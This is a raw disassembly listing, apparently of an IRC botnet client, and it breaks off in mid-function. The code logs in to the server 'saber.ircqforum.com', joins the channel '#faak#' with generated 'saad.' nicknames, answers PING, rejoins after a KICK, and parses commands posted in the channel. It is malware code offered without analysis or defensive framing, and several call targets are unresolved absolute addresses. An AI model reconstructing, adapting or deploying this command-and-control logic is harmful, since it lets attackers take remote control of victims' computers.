		test	eax, eax
		jz	short loc_40E98C
		push	0C8h
		nop
		call	near ptr 2620494h
		push	dword ptr [ebp-1Ch]
		mov	esi, dword_424078
		call	esi
		push	dword ptr [ebp-18h]
		call	esi
		call	dword_43ACF8
		push	ebx
		nop
		call	near ptr 77E75CB5h


loc_40E98C:				; CODE XREF: ___:0040E7E0j
					; ___:0040E962j
		cmp	dword_4CD9D0, 2
		jle	short loc_40E9D8
		mov	eax, dword_4CD9D4
		push	dword ptr [eax+4]
		call	sub_41781F
		pop	ecx
		mov	esi, eax
		push	0FFFFFFFFh
		push	esi
		nop
		call	near ptr 26702BDh
		push	esi
		nop
		call	near ptr 26508BEh
		mov	eax, dword_4CD9D4
		cmp	[eax+8], ebx
		jz	short loc_40E9D8
		push	7D0h
		nop
		call	near ptr 2620494h
		mov	eax, dword_4CD9D4
		push	dword ptr [eax+8]
		nop
		call	near ptr 27D0C40h


loc_40E9D8:				; CODE XREF: ___:0040E993j
					; ___:0040E9BDj
		cmp	dword_42F5C0, ebx
		jz	short loc_40E9F5
		cmp	dword_43AE68, ebx
		jnz	short loc_40E9F5
		lea	eax, [ebp-5F4h]
		push	eax
		call	sub_40C1AE
		pop	ecx


loc_40E9F5:				; CODE XREF: ___:0040E9DEj
					; ___:0040E9E6j
		lea	eax, [ebp-0E4h]
		push	offset dword_42F7C4
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp-0E4h]
		push	ebx
		push	eax
		call	sub_416D5C
		lea	eax, [ebp-0E4h]
		push	eax
		call	sub_40BF6D
		push	0B80h
		push	ebx
		push	offset dword_43FA70
		call	sub_417330
		call	sub_41730C
		push	7Fh
		push	offset aSaber_ircqforu ; "saber.ircqforum.com"
		push	offset dword_4CD5FC
		mov	dword_4CD770, ebx
		call	sub_418C10
		mov	eax, dword_42F5A0
		push	3Fh
		mov	edi, offset dword_4CD67C
		push	offset aFaak	; "#faak#"
		push	edi
		mov	dword_4CD74C, eax
		call	sub_418C10
		push	3Fh
		mov	esi, offset dword_4CD6BC
		push	offset aSaad_	; "saad."
		push	esi
		call	sub_418C10
		add	esp, 48h
		mov	dword_4CD750, ebx


loc_40EA83:				; CODE XREF: ___:0040EB29j
					; ___:0040EB34j ...
		mov	[ebp-4], ebx


loc_40EA86:				; CODE XREF: ___:0040EADDj
		cmp	dword_43AE80, ebx
		jnz	short loc_40EAA4
		lea	eax, [ebp-20h]
		push	ebx
		push	eax
		call	dword_43ACDC
		test	eax, eax
		jnz	short loc_40EAA4
		push	7530h
		jmp	short loc_40EAD0
; ---------------------------------------------------------------------------


loc_40EAA4:				; CODE XREF: ___:0040EA8Cj
					; ___:0040EA9Bj
		push	offset dword_4CD5F8
		mov	dword_4CD76C, ebx
		call	sub_40EB92
		cmp	eax, 2
		mov	[ebp-8], eax
		jz	loc_40EB7E
		cmp	dword_4CD76C, ebx
		jz	short loc_40EACB
		dec	dword ptr [ebp-4]


loc_40EACB:				; CODE XREF: ___:0040EAC6j
		push	0BB8h


loc_40EAD0:				; CODE XREF: ___:0040EAA2j
		nop
		call	near ptr 2620494h
		inc	dword ptr [ebp-4]
		cmp	dword ptr [ebp-4], 6
		jl	short loc_40EA86
		cmp	dword ptr [ebp-8], 2
		jz	loc_40EB7E
		cmp	[ebp-0Ch], ebx
		jz	short loc_40EB2E
		push	7Fh
		push	offset aSaber_ircqforu ; "saber.ircqforum.com"
		push	offset dword_4CD5FC
		call	sub_418C10
		mov	eax, dword_42F5A0
		push	3Fh
		push	offset aFaak	; "#faak#"
		push	edi
		mov	dword_4CD74C, eax
		call	sub_418C10
		push	3Fh
		push	offset aSaad_	; "saad."
		push	esi
		call	sub_418C10
		add	esp, 24h
		mov	[ebp-0Ch], ebx
		jmp	loc_40EA83
; ---------------------------------------------------------------------------


loc_40EB2E:				; CODE XREF: ___:0040EAECj
		cmp	byte_42F650, bl
		jz	loc_40EA83
		push	7Fh
		push	offset byte_42F650
		push	offset dword_4CD5FC
		call	sub_418C10
		mov	eax, dword_42F5A4
		push	3Fh
		push	offset aFaak_0	; "#faak#"
		push	edi
		mov	dword_4CD74C, eax
		call	sub_418C10
		push	3Fh
		push	offset aSaad__0	; "saad."
		push	esi
		call	sub_418C10
		add	esp, 24h
		mov	dword ptr [ebp-0Ch], 1
		jmp	loc_40EA83
; ---------------------------------------------------------------------------


loc_40EB7E:				; CODE XREF: ___:0040EABAj
					; ___:0040EAE3j
		call	sub_416F25


loc_40EB83:				; CODE XREF: ___:0040E74Aj
					; ___:0040E75Aj
		call	dword_43ACF8


loc_40EB89:				; CODE XREF: ___:0040E73Dj
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EB92	proc near		; CODE XREF: ___:0040EAAFp
					; DATA XREF: sub_40EE72+3B0Co

var_190		= dword	ptr -190h
var_18C		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_CC		= byte ptr -0CCh
var_8C		= byte ptr -8Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_2C		= byte ptr -2Ch
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 190h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	59h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_190]
		rep movsd
		mov	dword ptr [eax+160h], 1


loc_40EBB7:				; CODE XREF: sub_40EB92+E6j
					; sub_40EB92+136j ...
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_3C]
		call	dword_43AD98
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_18C]
		push	eax
		call	sub_40ADCA
		test	eax, eax
		pop	ecx
		mov	[ebp+var_C], eax
		jz	loc_40ECE4
		push	1Ch
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_417330
		push	0
		lea	eax, [ebp+var_2C]
		push	dword_4CD760
		push	dword_42F5CC
		push	eax
		call	sub_415D01
		mov	edi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	1Bh
		add	eax, offset byte_440808
		push	edi
		push	eax
		call	sub_418C10
		add	esp, 28h
		push	6
		push	1
		push	2
		call	dword_43AE18
		mov	esi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	10h
		mov	dword_4407FC[eax], esi
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	dword_43AD40
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40EC7D
		push	esi
		call	dword_43AE30
		call	sub_40ADF3
		push	7D0h


loc_40EC72:				; CODE XREF: sub_40EB92+146j
		nop
		call	near ptr 2620494h
		jmp	loc_40EBB7
; ---------------------------------------------------------------------------


loc_40EC7D:				; CODE XREF: sub_40EB92+CDj
		lea	eax, [ebp+var_18C]
		push	eax
		push	offset dword_42F7F8
		call	sub_40BFE1
		push	[ebp+var_38]
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_CC]
		push	[ebp+var_190]
		push	edi
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_40ECFA
		add	esp, 28h
		mov	edi, eax
		push	esi
		call	dword_43AE30
		test	edi, edi
		jz	loc_40EBB7
		cmp	edi, 1
		jnz	short loc_40ECDA
		push	0DBBA0h
		jmp	short loc_40EC72
; ---------------------------------------------------------------------------


loc_40ECDA:				; CODE XREF: sub_40EB92+13Fj
		cmp	edi, 2
		jz	short loc_40ECE8
		jmp	loc_40EBB7
; ---------------------------------------------------------------------------


loc_40ECE4:				; CODE XREF: sub_40EB92+5Aj
		xor	eax, eax
		jmp	short loc_40ECF4
; ---------------------------------------------------------------------------


loc_40ECE8:				; CODE XREF: sub_40EB92+14Bj
		push	[ebp+var_34]
		call	sub_417078
		pop	ecx
		push	2
		pop	eax


loc_40ECF4:				; CODE XREF: sub_40EB92+154j
		pop	edi
		pop	esi
		leave
		retn	4
sub_40EB92	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40ECFA	proc near		; CODE XREF: sub_40EB92+123p

var_1A10	= byte ptr -1A10h
var_A10		= byte ptr -0A10h
var_240		= byte ptr -240h
var_1A0		= byte ptr -1A0h
var_A0		= byte ptr -0A0h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		mov	eax, 1A10h
		call	sub_417B30
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	2
		mov	[ebp+var_8], ebx
		lea	eax, [ebp+var_1A0]
		pop	ecx


loc_40ED18:				; CODE XREF: sub_40ECFA+26j
		mov	[eax], bl
		add	eax, 80h
		dec	ecx
		jnz	short loc_40ED18
		cmp	byte_4CD768, bl
		jz	short loc_40ED3F
		push	offset byte_4CD768
		push	offset aPassS	; "PASS	%s\r\n"
		push	[ebp+arg_0]
		call	sub_40D633
		add	esp, 0Ch


loc_40ED3F:				; CODE XREF: sub_40ECFA+2Ej
		push	[ebp+arg_C]
		lea	eax, [ebp+var_20]
		push	ebx
		push	ebx
		push	2
		push	eax
		call	sub_415D01
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_C]
		push	offset aNickSUserS00S ;	"NICK %s\r\nUSER %s 0 0	:%s\r\n"
		push	eax
		call	sub_4172B0
		add	esp, 14h
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	dword_43ADE8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40EDA9
		push	[ebp+arg_0]
		call	dword_43AE30
		push	1388h
		call	near ptr 2620494h
		nop


loc_40EDA2:				; CODE XREF: sub_40ECFA+D9j
					; sub_40ECFA+153j
		xor	eax, eax


loc_40EDA4:				; CODE XREF: sub_40ECFA+173j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40EDA9:				; CODE XREF: sub_40ECFA+92j
					; sub_40ECFA+F8j ...
		mov	esi, 1000h
		lea	eax, [ebp+var_1A10]
		push	esi
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_1A10]
		push	ebx
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_43ADB0
		test	eax, eax
		jle	short loc_40EDA2
		lea	eax, [ebp+var_A10]
		push	eax
		lea	eax, [ebp+var_1A10]
		push	eax
		call	sub_40A868
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_4], ebx
		jle	short loc_40EDA9
		lea	edi, [ebp+var_A10]


loc_40EDFA:				; CODE XREF: sub_40ECFA+165j
		push	1
		pop	esi


loc_40EDFD:				; CODE XREF: sub_40ECFA+144j
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		lea	eax, [ebp+var_240]
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	[ebp+arg_18]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	dword ptr [edi]
		call	sub_40EE72
		add	esp, 2Ch
		dec	eax
		mov	esi, eax
		cmp	esi, ebx
		jle	short loc_40EE40
		push	7D0h
		nop
		call	near ptr 2620494h
		jmp	short loc_40EDFD
; ---------------------------------------------------------------------------


loc_40EE40:				; CODE XREF: sub_40ECFA+137j
		cmp	esi, 0FFFFFFFDh
		jz	short loc_40EE6A
		cmp	esi, 0FFFFFFFEh
		jz	short loc_40EE66
		cmp	esi, 0FFFFFFFFh
		jz	loc_40EDA2
		inc	[ebp+var_4]
		add	edi, 4
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_C]
		jl	short loc_40EDFA
		jmp	loc_40EDA9
; ---------------------------------------------------------------------------


loc_40EE66:				; CODE XREF: sub_40ECFA+14Ej
		push	1
		jmp	short loc_40EE6C
; ---------------------------------------------------------------------------


loc_40EE6A:				; CODE XREF: sub_40ECFA+149j
		push	2


loc_40EE6C:				; CODE XREF: sub_40ECFA+16Ej
		pop	eax
		jmp	loc_40EDA4
sub_40ECFA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EE72	proc near		; CODE XREF: sub_40ECFA+12Ap

var_15B0	= byte ptr -15B0h
var_11B0	= byte ptr -11B0h
var_FB0		= byte ptr -0FB0h
var_DB0		= byte ptr -0DB0h
var_CB0		= byte ptr -0CB0h
var_CAC		= byte ptr -0CACh
var_BAC		= byte ptr -0BACh
var_BA8		= byte ptr -0BA8h
var_AA8		= byte ptr -0AA8h
var_A28		= byte ptr -0A28h
var_9C7		= byte ptr -9C7h
var_9C6		= byte ptr -9C6h
var_9C4		= byte ptr -9C4h
var_9C3		= byte ptr -9C3h
var_9BA		= byte ptr -9BAh
var_9B8		= byte ptr -9B8h
var_9B6		= byte ptr -9B6h
var_9B5		= byte ptr -9B5h
var_928		= byte ptr -928h
var_90C		= dword	ptr -90Ch
var_908		= byte ptr -908h
var_804		= dword	ptr -804h
var_800		= dword	ptr -800h
var_7FC		= byte ptr -7FCh
var_7F8		= dword	ptr -7F8h
var_7F4		= byte ptr -7F4h
var_7F0		= dword	ptr -7F0h
var_7EC		= dword	ptr -7ECh
var_7E8		= byte ptr -7E8h
var_780		= byte ptr -780h
var_774		= byte ptr -774h
var_770		= dword	ptr -770h
var_76C		= byte ptr -76Ch
var_768		= byte ptr -768h
var_75C		= byte ptr -75Ch
var_73C		= dword	ptr -73Ch
var_738		= byte ptr -738h
var_710		= dword	ptr -710h
var_708		= byte ptr -708h
var_6FC		= dword	ptr -6FCh
var_6F8		= byte ptr -6F8h
var_6F4		= byte ptr -6F4h
var_6F0		= dword	ptr -6F0h
var_6EC		= byte ptr -6ECh
var_6E8		= byte ptr -6E8h
var_6B8		= byte ptr -6B8h
var_681		= byte ptr -681h
var_680		= byte ptr -680h
var_678		= byte ptr -678h
var_670		= byte ptr -670h
var_66C		= byte ptr -66Ch
var_668		= byte ptr -668h
var_5F8		= byte ptr -5F8h
var_5F4		= dword	ptr -5F4h
var_5F0		= dword	ptr -5F0h
var_5EC		= dword	ptr -5ECh
var_5E8		= byte ptr -5E8h
var_580		= dword	ptr -580h
var_57C		= dword	ptr -57Ch
var_578		= dword	ptr -578h
var_574		= dword	ptr -574h
var_570		= dword	ptr -570h
var_56C		= dword	ptr -56Ch
var_568		= dword	ptr -568h
var_564		= dword	ptr -564h
var_560		= dword	ptr -560h
var_55C		= byte ptr -55Ch
var_50C		= dword	ptr -50Ch
var_508		= byte ptr -508h
var_504		= dword	ptr -504h
var_500		= byte ptr -500h
var_4F4		= dword	ptr -4F4h
var_4F0		= dword	ptr -4F0h
var_4EC		= dword	ptr -4ECh
var_4E8		= byte ptr -4E8h
var_4C0		= byte ptr -4C0h
var_4A0		= dword	ptr -4A0h
var_488		= byte ptr -488h
var_480		= dword	ptr -480h
var_47C		= dword	ptr -47Ch
var_478		= dword	ptr -478h
var_474		= dword	ptr -474h
var_470		= dword	ptr -470h
var_46C		= dword	ptr -46Ch
var_468		= dword	ptr -468h
var_464		= dword	ptr -464h
var_460		= dword	ptr -460h
var_45C		= byte ptr -45Ch
var_458		= byte ptr -458h
var_444		= byte ptr -444h
var_434		= byte ptr -434h
var_420		= dword	ptr -420h
var_41C		= dword	ptr -41Ch
var_418		= byte ptr -418h
var_40C		= dword	ptr -40Ch
var_408		= byte ptr -408h
var_3FC		= byte ptr -3FCh
var_3F8		= byte ptr -3F8h
var_3D8		= byte ptr -3D8h
var_3B4		= byte ptr -3B4h
var_398		= byte ptr -398h
var_388		= byte ptr -388h
var_334		= dword	ptr -334h
var_330		= dword	ptr -330h
var_32C		= dword	ptr -32Ch
var_328		= dword	ptr -328h
var_324		= dword	ptr -324h
var_318		= dword	ptr -318h
var_314		= dword	ptr -314h
var_310		= dword	ptr -310h
var_30C		= dword	ptr -30Ch
var_308		= dword	ptr -308h
var_304		= dword	ptr -304h
var_300		= dword	ptr -300h
var_2FC		= dword	ptr -2FCh
var_2F8		= byte ptr -2F8h
var_2EC		= word ptr -2ECh
var_2EA		= word ptr -2EAh
var_2E8		= dword	ptr -2E8h
var_2DC		= byte ptr -2DCh
var_DC		= dword	ptr -0DCh
var_D8		= byte ptr -0D8h
var_C0		= dword	ptr -0C0h
var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= byte ptr -0A4h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_54		= byte ptr -54h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		mov	eax, 15B0h
		call	sub_417B30
		push	ebx
		push	esi
		mov	esi, 200h
		push	edi
		xor	ebx, ebx
		push	esi
		lea	eax, [ebp+var_2DC]
		push	ebx
		push	eax
		mov	[ebp+var_C0], 3
		mov	[ebp+var_10], ebx
		mov	[ebp+var_AC], ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_DC], ebx
		call	sub_417330
		push	1Bh
		lea	eax, [ebp+var_928]
		push	[ebp+arg_10]
		push	eax
		call	sub_418C10
		add	esp, 18h
		cmp	[ebp+arg_0], ebx
		jz	loc_40F239
		push	esi
		lea	eax, [ebp+var_FB0]
		push	ebx
		push	eax
		call	sub_417330
		dec	esi
		lea	eax, [ebp+var_FB0]
		push	esi
		push	[ebp+arg_0]
		push	eax
		call	sub_418C10
		lea	eax, [ebp+var_FB0]
		push	offset asc_432E84 ; " :"
		push	eax
		call	sub_417880
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_FB0]
		push	esi
		push	eax
		lea	eax, [ebp+var_11B0]
		push	eax
		call	sub_418C10
		mov	esi, offset asc_42A3B4 ; " "
		lea	eax, [ebp+var_11B0]
		push	esi
		push	eax
		call	sub_418B6E
		add	esp, 34h
		mov	[ebp+var_94], eax
		lea	edi, [ebp+var_90]
		mov	[ebp+var_BC], 1Fh


loc_40EF45:				; CODE XREF: sub_40EE72+E7j
		push	esi
		push	ebx
		call	sub_418B6E
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	[ebp+var_BC]
		pop	ecx
		jnz	short loc_40EF45
		mov	esi, [ebp+var_94]
		cmp	esi, ebx
		jz	loc_40F239
		cmp	[ebp+var_90], ebx
		jz	loc_40F239
		push	100h
		lea	eax, [ebp+var_A28]
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	ecx, [ebp+var_18]
		push	1Fh
		pop	edx
		push	1
		pop	edi


loc_40EF93:				; CODE XREF: sub_40EE72+153j
		mov	eax, [ecx]
		cmp	eax, ebx
		jz	short loc_40EFBF
		cmp	byte ptr [eax],	2Dh
		jnz	short loc_40EFC7
		cmp	[eax+2], bl
		jnz	short loc_40EFC7
		movsx	esi, byte ptr [eax+1]
		mov	[ecx], ebx
		mov	[ebp+esi+var_A28], 1
		mov	esi, [ebp+var_94]
		mov	[eax], bl
		mov	[eax+1], bl
		mov	[eax+2], bl


loc_40EFBF:				; CODE XREF: sub_40EE72+125j
		dec	edx
		sub	ecx, 4
		cmp	edx, ebx
		jge	short loc_40EF93


loc_40EFC7:				; CODE XREF: sub_40EE72+12Aj
					; sub_40EE72+12Fj
		cmp	[ebp+var_9B5], bl
		jz	short loc_40EFD2
		mov	[ebp+var_8], edi


loc_40EFD2:				; CODE XREF: sub_40EE72+15Bj
		cmp	[ebp+var_9BA], bl
		jz	short loc_40EFE0
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], edi


loc_40EFE0:				; CODE XREF: sub_40EE72+166j
		cmp	byte ptr [esi],	0Ah
		jz	short loc_40F01A
		push	7Fh
		lea	eax, [ebp+var_AA8]
		push	esi
		push	eax
		call	sub_418C10
		lea	eax, [esi+1]
		push	17h
		push	eax
		lea	eax, [ebp+var_D8]
		push	eax
		call	sub_418C10
		lea	eax, [ebp+var_D8]
		push	offset asc_432E80 ; "!"
		push	eax
		call	sub_418B6E
		add	esp, 20h


loc_40F01A:				; CODE XREF: sub_40EE72+171j
		push	esi
		push	offset aPing	; "PING"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F06B
		push	[ebp+var_90]
		mov	byte ptr [esi+1], 4Fh
		push	offset aPongS	; "PONG	%s\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		mov	eax, [ebp+arg_20]
		add	esp, 0Ch
		cmp	[eax], ebx
		jnz	loc_40F10F
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 10h
		jmp	loc_40F10F
; ---------------------------------------------------------------------------


loc_40F06B:				; CODE XREF: sub_40EE72+1B7j
		mov	esi, [ebp+var_90]
		push	esi
		push	offset a001	; "001"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4150D3
		push	esi
		push	offset a005	; "005"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4150D3
		push	esi
		push	offset a302	; "302"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F0D3
		push	offset a@	; "@"
		push	[ebp+var_88]
		call	sub_417880
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40F10F
		inc	eax
		push	9Fh
		push	eax
		push	[ebp+arg_1C]
		call	sub_418C10
		jmp	short loc_40F10C
; ---------------------------------------------------------------------------


loc_40F0D3:				; CODE XREF: sub_40EE72+238j
		push	esi
		push	offset a433	; "433"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F116
		push	ebx
		push	dword_4CD760
		push	dword_42F5CC
		push	[ebp+arg_10]
		call	sub_415D01
		add	esp, 10h
		push	[ebp+arg_10]
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_40D633


loc_40F10C:				; CODE XREF: sub_40EE72+25Fj
		add	esp, 0Ch


loc_40F10F:				; CODE XREF: sub_40EE72+1D8j
					; sub_40EE72+1F4j ...
		mov	eax, edi
		jmp	loc_40F23C
; ---------------------------------------------------------------------------


loc_40F116:				; CODE XREF: sub_40EE72+270j
		mov	esi, [ebp+arg_18]
		mov	[ebp+var_BC], 2
		mov	edi, 80h


loc_40F128:				; CODE XREF: sub_40EE72+2DBj
		lea	eax, [ebp+var_AA8]
		push	eax
		push	esi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F145
		mov	[ebp+var_AC], 1


loc_40F145:				; CODE XREF: sub_40EE72+2C7j
		add	esi, edi
		dec	[ebp+var_BC]
		jnz	short loc_40F128
		mov	esi, [ebp+var_90]
		push	esi
		push	offset aKick	; "KICK"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F241
		mov	esi, [ebp+arg_18]
		mov	[ebp+arg_24], 2


loc_40F174:				; CODE XREF: sub_40EE72+392j
		cmp	[esi], bl
		jz	loc_40F1FF
		push	7Fh
		lea	eax, [ebp+var_AA8]
		push	esi
		push	eax
		call	sub_418C10
		lea	eax, [ebp+var_D8]
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40F1FF
		cmp	[ebp+var_88], ebx
		jz	short loc_40F1FF
		push	[ebp+var_88]
		lea	eax, [ebp+var_D8]
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F1FF
		lea	eax, [ebp+var_D8]
		mov	[esi], bl
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset dword_432E04
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		lea	eax, [ebp+var_2DC]
		push	eax
		lea	eax, [ebp+var_D8]
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_40BF6D
		add	esp, 14h


loc_40F1FF:				; CODE XREF: sub_40EE72+304j
					; sub_40EE72+324j ...
		add	esi, edi
		dec	[ebp+arg_24]
		jnz	loc_40F174
		push	[ebp+var_88]
		push	[ebp+arg_10]
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F239
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_20]
		push	[ebp+arg_8]
		mov	[eax], ebx
		push	offset aJoinSS	; "JOIN	%s %s\r\n"


loc_40F22E:				; CODE XREF: sub_40EE72+618j
					; sub_40EE72+978j
		push	[ebp+arg_4]
		call	sub_40D633


loc_40F236:				; CODE XREF: sub_40EE72+57D8j
					; sub_40EE72+57F5j ...
		add	esp, 10h


loc_40F239:				; CODE XREF: sub_40EE72+5Bj
					; sub_40EE72+F1j ...
		push	1


loc_40F23B:				; CODE XREF: sub_40EE72+5CEBj
		pop	eax


loc_40F23C:				; CODE XREF: sub_40EE72+29Fj
					; sub_40EE72+229Dj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40F241:				; CODE XREF: sub_40EE72+2F2j
		push	esi
		push	offset aNick	; "NICK"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F397
		mov	eax, [ebp+var_8C]
		mov	esi, [ebp+arg_18]
		inc	eax
		mov	[ebp+arg_0], 2
		mov	[ebp+arg_24], eax


loc_40F26A:				; CODE XREF: sub_40EE72+44Aj
		lea	eax, [ebp+var_AA8]
		push	eax
		push	esi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F2B7
		lea	eax, [ebp+var_AA8]
		push	21h
		push	eax
		call	sub_418F50
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_1C], eax
		jz	short loc_40F2B7
		push	[ebp+arg_24]
		lea	edi, [esi+2]
		mov	byte ptr [esi],	3Ah
		lea	eax, [edi-1]
		push	eax
		call	sub_4179C0
		push	[ebp+arg_1C]
		push	edi
		call	sub_4179D0
		add	esp, 10h
		mov	edi, 80h


loc_40F2B7:				; CODE XREF: sub_40EE72+409j
					; sub_40EE72+420j
		add	esi, edi
		dec	[ebp+arg_0]
		jnz	short loc_40F26A
		lea	eax, [ebp+var_D8]
		test	eax, eax
		jz	loc_40F239
		cmp	[ebp+arg_24], ebx
		jz	loc_40F239
		push	[ebp+arg_10]
		lea	eax, [ebp+var_D8]
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F2FF
		push	0Fh
		push	[ebp+arg_24]
		push	[ebp+arg_10]
		call	sub_418C10
		add	esp, 0Ch
		jmp	loc_40F239
; ---------------------------------------------------------------------------


loc_40F2FF:				; CODE XREF: sub_40EE72+476j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_40F304:				; CODE XREF: sub_40EE72+4B3j
		cmp	[edi], bl
		jz	short loc_40F31B
		lea	eax, [ebp+var_AA8]
		push	eax
		push	edi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F32C


loc_40F31B:				; CODE XREF: sub_40EE72+494j
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_40F304
		jmp	loc_40F239
; ---------------------------------------------------------------------------


loc_40F32C:				; CODE XREF: sub_40EE72+4A7j
		lea	eax, [ebp+var_AA8]
		push	21h
		push	eax
		call	sub_418F50
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_0], eax
		jz	loc_40F239
		push	eax
		call	sub_417AB0
		push	[ebp+arg_24]
		mov	edi, eax
		call	sub_417AB0
		add	edi, eax
		pop	ecx
		cmp	edi, 7Eh
		pop	ecx
		ja	loc_40F239
		push	[ebp+arg_0]
		shl	esi, 7
		push	[ebp+arg_24]
		add	esi, [ebp+arg_18]
		push	offset aSS_0	; ":%s%s"
		push	esi
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_4C0]
		push	ebx
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 24h
		jmp	loc_40F239
; ---------------------------------------------------------------------------


loc_40F397:				; CODE XREF: sub_40EE72+3DEj
		push	esi
		push	offset aPart	; "PART"
